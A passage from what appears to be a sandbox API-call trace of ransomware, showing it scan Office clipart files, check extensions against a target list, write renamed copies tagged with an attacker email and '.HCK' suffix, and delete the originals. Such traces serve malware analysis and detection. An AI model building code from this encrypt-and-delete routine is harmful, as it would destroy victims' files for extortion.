Office\\root\\CLIPART\\PUB60COR\\PH01221K.JPG") returned 68 [0179.600] lstrlenW (lpString=".jpg") returned 4 [0179.600] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0179.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.JPG") returned 68 [0179.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.JPG") returned 68 [0179.600] lstrlenW (lpString=".doc") returned 4 [0179.600] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0179.600] lstrlenW (lpString=".docx") returned 5 [0179.600] lstrcmpiW (lpString1=".docx", lpString2="K.JPG") returned -1 [0179.600] lstrlenW (lpString=".pdf") returned 4 [0179.600] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0179.600] lstrlenW (lpString=".xls") returned 4 [0179.600] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0179.600] lstrlenW (lpString=".xlsx") returned 5 [0179.600] lstrcmpiW (lpString1=".xlsx", lpString2="K.JPG") returned -1 [0179.600] lstrlenW (lpString=".ppt") returned 4 [0179.600] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0179.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.JPG") returned 68 [0179.600] lstrlenW (lpString=".zip") returned 4 [0179.600] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0179.600] lstrlenW (lpString=".rar") returned 4 [0179.600] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0179.600] lstrlenW (lpString=".bz2") returned 4 [0179.600] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0179.600] lstrlenW (lpString=".7z") returned 3 [0179.601] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0179.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.JPG") returned 68 [0179.601] lstrlenW (lpString=".dbf") returned 4 [0179.601] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0179.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.JPG") returned 68 [0179.601] lstrlenW (lpString=".1cd") returned 4 [0179.601] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0179.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.JPG") returned 68 [0179.601] lstrlenW (lpString=".jpg") returned 4 [0179.601] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0179.601] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.601] lstrlenW (lpString="PH01247U.BMP") returned 12 [0179.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01247u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.605] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=31752) returned 1 [0179.605] CloseHandle (hObject=0x3a4) returned 1 [0179.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01247u.bmp")) returned 0x220 [0179.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01247u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01247u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.610] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.610] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01247u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.615] GetLastError () returned 0x0 [0179.615] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x7c08, lpOverlapped=0x0) returned 1 [0179.617] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x7c10, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x7c10, lpOverlapped=0x0) returned 1 [0179.618] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.618] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.618] SetEndOfFile (hFile=0x3a4) returned 1 [0179.619] CloseHandle (hObject=0x3a4) returned 1 [0179.620] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.620] SetEndOfFile (hFile=0x370) returned 1 [0179.621] CloseHandle (hObject=0x370) returned 1 [0179.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.626] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01247u.bmp")) returned 1 [0179.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.BMP") returned 68 [0179.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.BMP") returned 68 [0179.632] lstrlenW (lpString=".doc") returned 4 [0179.632] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.632] lstrlenW (lpString=".docx") returned 5 [0179.632] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.632] lstrlenW (lpString=".pdf") returned 4 [0179.632] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.632] lstrlenW (lpString=".xls") returned 4 [0179.632] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.632] lstrlenW (lpString=".xlsx") returned 5 [0179.632] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.632] lstrlenW (lpString=".ppt") returned 4 [0179.632] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.BMP") returned 68 [0179.632] lstrlenW (lpString=".zip") returned 4 [0179.632] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.632] lstrlenW (lpString=".rar") returned 4 [0179.632] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.632] lstrlenW (lpString=".bz2") returned 4 [0179.632] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.632] lstrlenW (lpString=".7z") returned 3 [0179.632] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.BMP") returned 68 [0179.632] lstrlenW (lpString=".dbf") returned 4 [0179.632] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.BMP") returned 68 [0179.632] lstrlenW (lpString=".1cd") returned 4 [0179.632] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.BMP") returned 68 [0179.632] lstrlenW (lpString=".jpg") returned 4 [0179.632] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.BMP") returned 68 [0179.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.BMP") returned 68 [0179.632] lstrlenW (lpString=".doc") returned 4 [0179.632] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.632] lstrlenW (lpString=".docx") returned 5 [0179.632] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.632] lstrlenW (lpString=".pdf") returned 4 [0179.632] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.632] lstrlenW (lpString=".xls") returned 4 [0179.633] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.633] lstrlenW (lpString=".xlsx") returned 5 [0179.633] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.633] lstrlenW (lpString=".ppt") returned 4 [0179.633] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.BMP") returned 68 [0179.633] lstrlenW (lpString=".zip") returned 4 [0179.633] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.633] lstrlenW (lpString=".rar") returned 4 [0179.633] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.633] lstrlenW (lpString=".bz2") returned 4 [0179.633] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.633] lstrlenW (lpString=".7z") returned 3 [0179.633] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.BMP") returned 68 [0179.633] lstrlenW (lpString=".dbf") returned 4 [0179.633] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.BMP") returned 68 [0179.633] lstrlenW (lpString=".1cd") returned 4 [0179.633] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.BMP") returned 68 [0179.633] lstrlenW (lpString=".jpg") returned 4 [0179.633] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.633] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.633] lstrlenW (lpString="PH01562U.BMP") returned 12 [0179.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01562u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.637] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=32184) returned 1 [0179.637] CloseHandle (hObject=0x300) returned 1 [0179.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01562u.bmp")) returned 0x220 [0179.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01562u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01562u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.640] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.640] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01562u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.642] GetLastError () returned 0x0 [0179.642] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0179.644] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0179.645] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.645] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.645] SetEndOfFile (hFile=0x370) returned 1 [0179.648] CloseHandle (hObject=0x370) returned 1 [0179.648] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.649] SetEndOfFile (hFile=0x3a4) returned 1 [0179.649] CloseHandle (hObject=0x3a4) returned 1 [0179.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01562u.bmp")) returned 1 [0179.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.BMP") returned 68 [0179.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.BMP") returned 68 [0179.652] lstrlenW (lpString=".doc") returned 4 [0179.652] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.652] lstrlenW (lpString=".docx") returned 5 [0179.652] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.652] lstrlenW (lpString=".pdf") returned 4 [0179.652] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.652] lstrlenW (lpString=".xls") returned 4 [0179.652] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.652] lstrlenW (lpString=".xlsx") returned 5 [0179.652] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.652] lstrlenW (lpString=".ppt") returned 4 [0179.652] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.BMP") returned 68 [0179.652] lstrlenW (lpString=".zip") returned 4 [0179.652] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.652] lstrlenW (lpString=".rar") returned 4 [0179.652] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.652] lstrlenW (lpString=".bz2") returned 4 [0179.652] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.652] lstrlenW (lpString=".7z") returned 3 [0179.652] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.BMP") returned 68 [0179.652] lstrlenW (lpString=".dbf") returned 4 [0179.652] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.BMP") returned 68 [0179.652] lstrlenW (lpString=".1cd") returned 4 [0179.652] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.BMP") returned 68 [0179.652] lstrlenW (lpString=".jpg") returned 4 [0179.652] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.BMP") returned 68 [0179.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.BMP") returned 68 [0179.652] lstrlenW (lpString=".doc") returned 4 [0179.652] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.652] lstrlenW (lpString=".docx") returned 5 [0179.652] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.652] lstrlenW (lpString=".pdf") returned 4 [0179.652] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.652] lstrlenW (lpString=".xls") returned 4 [0179.652] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.652] lstrlenW (lpString=".xlsx") returned 5 [0179.652] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.652] lstrlenW (lpString=".ppt") returned 4 [0179.652] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.BMP") returned 68 [0179.652] lstrlenW (lpString=".zip") returned 4 [0179.652] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.652] lstrlenW (lpString=".rar") returned 4 [0179.652] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.652] lstrlenW (lpString=".bz2") returned 4 [0179.652] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.652] lstrlenW (lpString=".7z") returned 3 [0179.653] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.BMP") returned 68 [0179.653] lstrlenW (lpString=".dbf") returned 4 [0179.653] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.BMP") returned 68 [0179.653] lstrlenW (lpString=".1cd") returned 4 [0179.653] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.BMP") returned 68 [0179.653] lstrlenW (lpString=".jpg") returned 4 [0179.653] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.653] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0179.653] lstrlenW (lpString="PH02028K.JPG") returned 12 [0179.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02028k.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.655] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=17694) returned 1 [0179.655] CloseHandle (hObject=0x39c) returned 1 [0179.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02028k.jpg")) returned 0x220 [0179.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02028k.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02028k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.664] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.664] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02028k.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.666] GetLastError () returned 0x0 [0179.666] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x451e, lpOverlapped=0x0) returned 1 [0179.667] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x4520, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x4520, lpOverlapped=0x0) returned 1 [0179.668] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.668] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.668] SetEndOfFile (hFile=0x300) returned 1 [0179.669] CloseHandle (hObject=0x300) returned 1 [0179.670] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.670] SetEndOfFile (hFile=0x2fc) returned 1 [0179.674] CloseHandle (hObject=0x2fc) returned 1 [0179.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02028k.jpg")) returned 1 [0179.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.JPG") returned 68 [0179.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.JPG") returned 68 [0179.685] lstrlenW (lpString=".doc") returned 4 [0179.685] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0179.685] lstrlenW (lpString=".docx") returned 5 [0179.685] lstrcmpiW (lpString1=".docx", lpString2="K.JPG") returned -1 [0179.685] lstrlenW (lpString=".pdf") returned 4 [0179.685] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0179.685] lstrlenW (lpString=".xls") returned 4 [0179.685] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0179.685] lstrlenW (lpString=".xlsx") returned 5 [0179.685] lstrcmpiW (lpString1=".xlsx", lpString2="K.JPG") returned -1 [0179.685] lstrlenW (lpString=".ppt") returned 4 [0179.685] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0179.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.JPG") returned 68 [0179.685] lstrlenW (lpString=".zip") returned 4 [0179.685] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0179.685] lstrlenW (lpString=".rar") returned 4 [0179.685] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0179.685] lstrlenW (lpString=".bz2") returned 4 [0179.685] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0179.685] lstrlenW (lpString=".7z") returned 3 [0179.685] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0179.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.JPG") returned 68 [0179.685] lstrlenW (lpString=".dbf") returned 4 [0179.685] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0179.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.JPG") returned 68 [0179.685] lstrlenW (lpString=".1cd") returned 4 [0179.685] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0179.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.JPG") returned 68 [0179.685] lstrlenW (lpString=".jpg") returned 4 [0179.686] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0179.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.JPG") returned 68 [0179.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.JPG") returned 68 [0179.686] lstrlenW 